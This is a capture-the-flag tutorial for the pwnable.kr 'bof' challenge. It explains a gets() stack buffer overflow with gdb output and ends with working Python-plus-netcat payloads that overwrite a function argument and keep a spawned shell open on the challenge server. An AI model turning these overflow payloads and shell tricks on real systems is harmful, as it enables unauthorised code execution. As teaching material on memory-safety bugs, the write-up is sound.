pwnable.kr (bof) Buffer Overflow

Tutorial Notes

What you’ll learn:

  • Basic network-based command line utilities (ssh, nc, scp, wget, etc.)
  • Introduction to arrays, buffer overflows, and basic prevention strategies
  • Introduction to the gnu debugger

Directions:

First visit pwnable.kr and click on the “bof” icon. The instructions point you to 2 files: bof and bof.c. It also tells you to use:

nc pwnable.kr 9000

to submit your solution. nc stands for netcat, and is like a network version of the cat utility. In essence it allows you to write to data directly to a network resource (i.e., pwnable.kr on port 9000).

Ok, so let’s begin by downloading the bof program to our local machine and checking it out:

$ wget http://pwnable.kr/bin/bof
Resolving pwnable.kr... 143.248.249.64
Connecting to pwnable.kr|143.248.249.64|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7348 (7.2K)
Saving to: `bof'

Next let’s use the file utility to get some information about the file:

$ file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped

So we can see it’s a 32-bit binary. Now let’s download the bof.c source file and check it out. From your local machine you can use wget to download the file:

$ wget http://pwnable.kr/bin/bof.c
--2018-02-01 14:52:48--  http://pwnable.kr/bin/bof.c
Resolving pwnable.kr... 143.248.249.64
Connecting to pwnable.kr|143.248.249.64|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 308 [text/x-csrc]
Saving to: `bof.c'

The source file contains the follow code:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

We can see the main() function calls a function func() with the 32-bit hexidecimal value 0xdeadbeef. Then func() accepts up to 32 characters of input from the user. Finally, it compares the input integer key to the hex value 0xcafebabe. If they’re equal, it prints the flag, otherwise it exits.

On first glance it seems like we’re stuck. The user can’t control the key variable, and therefore cannot make the if statement evaluate as True…. or can it? Let’s try to debug the program and find out.

It would be nice to be able to recompile the program with debugging information. But compiling the program on your local machine can produce a different result if it’s a different architecture (which is likely).

So our strategy will be to compile the program on the pwnable.kr server. Only problem is there’s no ssh login for the bof challenge (remember, you had to submit the answer with netcat?). So what we can do is log in under a different username (i.e., from another challenge), and upload the bof.c to the temp directory to play with it. For this we will use secure copy (scp). Let’s use the account from the Collision challenge. Recall the login was:

ssh col@pwnable.kr -p2222 (pw:guest)

That means we’ll log in to pwanble.kr using username col on port 2222 to login over ssh. We’ll use this same information to upload bof.c to a temp directory in pwnable.kr using scp from your local machine:

scp -P2222 bof.c col@pwnable.kr:/tmp/mytemp

Now let’s log in and check the file was uploaded successfully:

$ ssh col@pwnable.kr -p2222
col@pwnable.kr's password: 
 ____  __    __  ____    ____  ____   _        ___      __  _  ____  
|    \|  |__|  ||    \  /    ||    \ | |      /  _]    |  |/ ]|    \ 
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    / 
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_  __ |     \|    \ 
|  |   \      / |  |  ||  |  ||     ||     ||     ||  ||  .  ||  .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|
                                                                     
- Site admin : daehee87.kr@gmail.com
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal

col@ubuntu:~$ cd /tmp/mytemp
col@ubuntu:/tmp/mytemp$ ls -l
total
-rw-r--r-- 1 col col  308 Feb  1 13:13 bof.c

We’re going to go ahead and compile bof.c using the -g flag that will make debugging a little easier, and the -m32 flag to compile it as a 32-bit binary:

col@ubuntu:/tmp/mytemp$ gcc -g -m32 bof.c -o bof
bof.c: In function ‘func’:
bof.c:7:2: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
  gets(overflowme); // smash me!
  ^
/var/tmp/: In function `func':
/tmp/mytemp/bof.c:7: warning: the `gets' function is dangerous and should not be used.

Interesting. The compiler is warning us about the gets() function in func(), saying its dangerous. First let’s look at what gets does. From the documentation it says:

Reads characters from the standard input (stdin) and stores them as a C string into str until a newline character or the end-of-file is reached ... and does not allow to specify a maximum size for str (which can lead to buffer overflows).

So basically gets is going to take every character you type and write it to memory in sequential order. But more importantly it’s going to do it in an oblivious (i.e., stupid, dangerous) way: it will just keep writing to memory like a runaway freight train, overwriting anything in its path.

Great. Let’s see how we can exploit this. In order to see what our “freight train” overwrites, we need to be able to look into the memory. For this we’re going to use gdb, the gnu debugger.

If this is your first time using gdb, watch this tutorial video to help you get started. Next let’s try opening bof in gdb and running it:

col@ubuntu:/tmp/mytemp$ gdb bof
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bof...done.
(gdb) run
Starting program: /tmp/mytemp/bof 
overflow me : AAAAAAAAAAAA
Nah..
[Inferior 1 (process 60479) exited normally]

We see the program completed successfully. We can review the program’s source code using the list command:

(gdb) list
2	#include <string.h>
3	#include <stdlib.h>
4	void func(int key){
5		char overflowme[32];
6		printf("overflow me : ");
7		gets(overflowme);	// smash me!
8		if(key == 0xcafebabe){
9			system("/bin/sh");
10		}
11		else{
12			printf("Nah..\n");
13		}
14	}
15	int main(int argc, char* argv[]){
16		func(0xdeadbeef);
17		return 0;
18	}
19	

Next let’s put a breakpoint at the if statement so we can look at what’s going on during the comparison, and run the program again:

(gdb) b 8
Breakpoint 2 at 0x804852b: file bof.c, line 8.
(gdb) run
Starting program: /tmp/mytemp/bof 
overflow me : AAAAAAAAAAAA

Breakpoint 1, func (key=-559038737) at bof.c:8
8		if(key == 0xcafebabe){

With the program paused at the breakpoint, let’s look at the contents of the key variable. We can print the contents in hexidecimal as follows:

(gdb) print/x key
$1 = 0xdeadbeef

And now the contents of the overflowme char array displayed as hex:

(gdb) print/x overflowme
$2 = {0x41 <repeats 12 times>, 0x0, 0x3d, 0xe2, 0xf7, 0x0, 0xa0, 0xfc, 0xf7, 0x0, 0x80, 0x0, 0x0, 0x0, 0x60, 0xfc, 0xf7, 0x44, 0x42, 0xfc, 0xf7}

or as characters:

$3 = {65 'A' <repeats 12 times>, 0 '\000', 61 '=', -30 '\342', -9 '\367', 0 '\000', -96 '\240', -4 '\374', -9 '\367', 0 '\000', -128 '\200', 0 '\000', 0 '\000', 0 '\000', 96 '`', 
  -4 '\374', -9 '\367', 68 'D', 66 'B', -4 '\374', -9 '\367'}

This shows our input “AAAAAAAAAAAA” as a string of 12 bytes of value 0x41, followed by 0x0 terminating the string. The remaining bytes are effectively random.

Ok so let’s try this again, but this time let’s act like a runaway freight train and give the overflowme variable too much input and see what happens:

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/mytemp/bof 
overflow me : AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Breakpoint 1, func (key=1313754702) at bof.c:8
8		if(key == 0xcafebabe){

Let’s print the contents of overflowme as characters:

(gdb) p/c overflowme
$4 = {65 'A', 65 'A', 65 'A', 65 'A', 66 'B', 66 'B', 66 'B', 66 'B', 67 'C', 67 'C', 67 'C', 67 'C', 68 'D', 68 'D', 68 'D', 68 'D', 69 'E', 69 'E', 69 'E', 69 'E', 70 'F', 
  70 'F', 70 'F', 70 'F', 71 'G', 71 'G', 71 'G', 71 'G', 72 'H', 72 'H', 72 'H', 72 'H'}

Ok, so the overflowme array consumed all input up to the “H”’s, meaning the input from “IIII” on to “ZZZZ” overran the boundaries. So where did it go? What did it clobber?

Well, let’s see if anything happened to the key variable.

(gdb) p/x key
$5 = 0x4e4e4e4e

Something happened! Recall when we ran it the first time, key contained 0xdeadbeef. Now it contains 0x4e4e4e4e. Let’s print this out again, but as a sequence of 4 characters:

(gdb) p/c (char[4])key
$6 = {78 'N', 78 'N', 78 'N', 78 'N'}

Very interesting. That means the NNNN part of our input string got copied into key. And you know what that means: we can use this to control the contents of key!

So let’s try this again: we’ll input AAAABBBBCCCC…. all the way to MMMM. Then we’ll input the bytes corresponding to the target integer 0xcafebabe. We can write a simple little Python program that runs from the command line as an easy way of generating this mixed input of ASCII characters and raw hex bytes and pipe it into bof:

col@ubuntu:/tmp/mytemp$ python -c "print 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMM' +'\xbe\xba\xfe\xca'" | ./bof
*** stack smashing detected ***: ./bof terminated
overflow me : Aborted

Observe the *** stack smashing detected *** error. The compiler adds special variables to the stack called stack canaries. They are known values, and if they get overwritten by our “runaway freight train”, the program will detect this as it returns from a function call, generating an error (and exiting the program).

What’s happening here is that the /bin/sh command is being called, but it almost immediately terminates (nothing is keeping the shell open), and then function func is returning, at which point the buffer overflow is detected. We need to keep the shell open, so we can use this special trick: we run the buffer overflow to cause the /bin/sh to execute, then we issue the cat command. cat stays open continuing to read input from standard in. In turn, its standard output is being read by /bin/sh.

We can chain in this command like this: $ (python -c " ... "; cat). Now we have everything we need. When we issue this command, we will have a shell (command line access):

col@ubuntu:/tmp/mytemp$ (python -c "print 'ABCDEFGHIJKLM'*4 +'\xbe\xba\xfe\xca'"; cat) | ./bof
ls
bof  bof.c
id
uid=1005(col) gid=1005(col) groups=1005(col)

As you can see, we got a shell running with the privileges of our user/group col. Recall this version of bof is the one we created and compiled in the tmp folder. So we want to do this on the original bof, which will presumably run under the bof user/group. So now we’ll pipe the output into netcat as per the instructions:

$ (python -c "print 'ABCDEFGHIJKLM'*4 +'\xbe\xba\xfe\xca'"; cat) | nc pwnable.kr 9000
id
uid=1008(bof) gid=1008(bof) groups=1008(bof)
ls
bof
bof.c
flag
log
log2
super.pl

Note: The script above works for Python 2. Python 3 has a different way of specifying raw bytes:

(python -c "import sys; sys.stdout.buffer.write(b'\x01'*52 + b'\xbe\xba\xfe\xca')"; cat) | nc pwnable.kr 9000

Now all that’s left to do is run:

cat flag

Note: If the shell doesn’t respond to a command, try entering the command a second time.